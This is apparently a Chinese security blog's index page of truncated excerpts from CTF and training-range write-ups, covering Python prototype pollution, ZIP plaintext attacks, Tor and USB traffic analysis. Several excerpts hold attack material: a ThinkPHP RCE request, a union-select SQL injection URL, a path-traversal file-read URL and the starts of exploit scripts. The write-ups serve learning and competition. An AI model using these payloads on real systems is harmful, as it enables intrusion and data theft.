初探Python原型链污染
初探Python原型链污染漏洞成因关键代码
def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'):#判断dst中是否含有魔术方法__getitem__ if dst.get(k) and type(v) == dict:#判断dst[k]是否存在,且内容v是否为字典 merge(v, dst.get(k))#递归合并 else: dst[k] = v elif hasattr(dst, k) and type(v) == dict:#判断dst中是否有k这个属性且v为字典 merge(v, getattr(dst, k))#递归合并 else: setattr(dst, k, v)#如果dst中既没有对应的键 k,也 ...
ZIP明文攻击
简介明文攻击主要利用大于 12 字节的一段已知明文数据进行攻击,从而获取整个加密文压缩包的数据。也就是说,如果我手里有一个未知密码的压缩包和压缩包内某个文件的一部分明文(不一定非要从头开始,能确定偏移就行),那么我就可以通过这种攻击来解开整个压缩包。
条件1.完整的明文文件
2.明文文件需要被相同的压缩算法标准压缩(也可理解为被相同压缩工具压缩)
3.明文对应文件的加密算法需要是 ZipCrypto Store
ZIP的加密算法大致分为两种ZipCrypto和AES-256,各自又分Deflate和Store。
ZipCrypto Deflate ZipCrypto Store AES-256 Deflate AES-256 Store
ZipCrypto算是传统的zip加密方式。只有使用ZipCrypto Deflate/Store才可以使用 ZIP已知明文攻击进行破解。
使用7Zip打开压缩包,即可看到加密算法
或者通过7Zip的命令行工具
7z l -slt yourfile.zip
利用一般在CTF中,考法是比较固定的,题目一般是一个加密的压缩包,但是 ...
春秋云镜 Initial
Flag01进去是一个登录页面,扫一下看到了报错页面,发现TP版本
TP5.0.23 RCE
写马或者弹shell
POST /index.php?s=captcha HTTP/1.1Host: 39.99.252.41User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 82Origin: http://39.99.252.41Connect ...
2024数字中国创新大赛数据安全人才积分赛初赛WP
签到赛博厨师秒了
Wireshark2.1
如图,答案为theanswerishere.php
Wireshark2.2GET /sql/Less-1/theanswerishere.php?id=0%27%20union%20select%20%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+ HTTP/1.1Host: 192.168.246.123User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0. ...
第一届"长城杯"信息安全铁人三项半决赛WP
AWD靶机1访问地址
http://192.168.103.*:8080/frontend/ajax/getfile?file=../../../../../../flag.txt
即可利用此任意文件下载漏洞
使用python写脚本批量跑
import concurrent.futuresimport reimport requestsproxies = {'http': ''}headers = { 'cookie': '1'}result = []def read_ip_list(filename): with open(filename, 'r') as file: ip_list = [ip.strip() for ip in file] return ip_listdef exp_get(ip): url = f'http://{ip}:8080/frontend/aj ...
2024数信杯WriteUp
数据安全题1. 赛题名称:pbFlag值:756492198429227351
解题过程:
6次格式化字符串漏洞。读在bss段,利用跳板攻击写ret返回地址为onegadget
from pwn import *from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux', arch='amd64', log_level='debug')context.terminal = ["tmux", "splitw", "-h"]debug = 0if debug: p = process('./pwn') elf = ELF('./pwn') # p = process('', env={'LD_PRELOAD ...
XSS-Bot的简单实现
XSS-Bot的简单实现xss-跨站脚本伪造,其利用的核心是诱导目标用户访问站点,渲染页面,执行恶意代码。在CTF题目中需要一个Bot来代替真实受害用户。
Webdriver浏览器引擎可以通过脚本操作浏览器的行为,包括xssBot所用到的后台登陆,渲染页面等操作。可操作性也是很高的。
目前主流的浏览器都有对应的Webdriver,Python操作Webdriver的文章也已经有很多,不必赘述。
但是,Webdriver的操作需要基于浏览器进行,在一个Docker镜像中,只有Webdriver是不行的,Webdriver并不是一个可以独立运行的浏览器。所以在Docker题目中Webdriver的解决方案比较复杂。
PhantomjsPhantomjs是一个支持跨平台的无界面浏览器,但是它已经停止更新并被官方弃用。好处是依然可用,且十分便利。
在Docker中可以直接使用,Github:https://github.com/ariya/phantomjs 下载地址:https://phantomjs.org/download.html
版本要求对selenium的版本要求为selenium ...
Tor路由基础实现
Tor路由简单搭建Tor 洋葱路由是当前最安全最成功的匿名通信技术,通过Tor节点,使得没有人知道你在Tor上干了什么,最大程度上保护个人隐私。
同时,因为此特性的存在,Tor可以作为爬虫的代理服务器来规避反爬措施和提高匿名性。但是Tor无法支撑DDOS攻击,请不要使用Tor进行DDOS。
对Tor的审查正是因为高度匿名的原因,Tor可绕过政府对网站的审查,访问被防火墙(长城)封锁的网站,所以中国几乎封锁了所有的Tor节点,所以在国内使用Tor,可能需要一些魔法。
Tor浏览器官方地址:https://www.torproject.org/zh-CN/
Tor浏览器会在运行时在后台启动一个Tor服务,暴露端口一般为9150
网桥获取在线获取:https://bridges.torproject.org/bridges/?transport=obfs4
使用 Gmail 或 Riseup 的邮箱服务发送电子邮件至 bridges@torproject.org
通过 Telegram 向 @GetBridgesBot 发送消息。在聊天中点击“开始”,或者输入/Start或/bridges
...
CTF-Misc USB流量分析
CTF 中的USB流量分析常见为鼠标流量和键盘流量
键盘流量一般为8字节16位,其中的第三字节(第5-6个数字)决定键盘输入的字符
对照表(P53-59)
部分数据解释
字节下标(我还没发现这个在哪儿)
0 : 修改键(组合键)
1 : OEM 保留
2~7 : 按键码
BYTE1
bit0: Left Control 是否按下,按下为 1
bit1: Left Shift 是否按下,按下为 1
bit2: Left Alt 是否按下,按下为 1
bit3: Left WIN/GUI 是否按下,按下为 1
bit4: Right Control 是否按下,按下为 1
bit5: Right Shift 是否按下,按下为 1
bit6: Right Alt 是否按下,按下为 1
bit7: Right WIN/GUI 是否按下,按下为 1
BYTE2 - 暂不清楚,有的地方说是保留位
BYTE3-BYTE8 - 这六个为普通按键
0b10(0x02) 和 0b100000(0x20)都是按下了shift键
键盘发送 02 00 0e 00 00 00 ...
如何优雅的使用Docker出一道动态flag的CTF题-GZCTF
如何优雅的使用Docker出一道动态flag的CTF题-GZCTF最近想给新生出一些CTF入入入门题,一点一点摸索搭建了GZCTF(感谢GZTime师傅制作的如此优秀的平台),但是苦于出题,网上也没有很多相关文章,只能自己一点一点摸索。
关于安装Docker不在赘述,本文侧重记录构建Docker镜像实现动态flag的一种解决办法
首先一道CTF赛题的镜像构建前的大致目录结构如下-以SQL注入题目为例
CTF_Challenge/├── Dockerfile # 提示信息├── src/ # 题目源代码、脚本或者应用程序│ ├── db.sql # 数据库初始化脚本│ ├── index.html # Web应用程序的主页│ ├── sql_connect.php # 数据库连接配置│ ├── flag.sh # 动态flag的初始化
这是一个最简单sql注入题目的目录,不包含README,Wreitup等。
关于 ...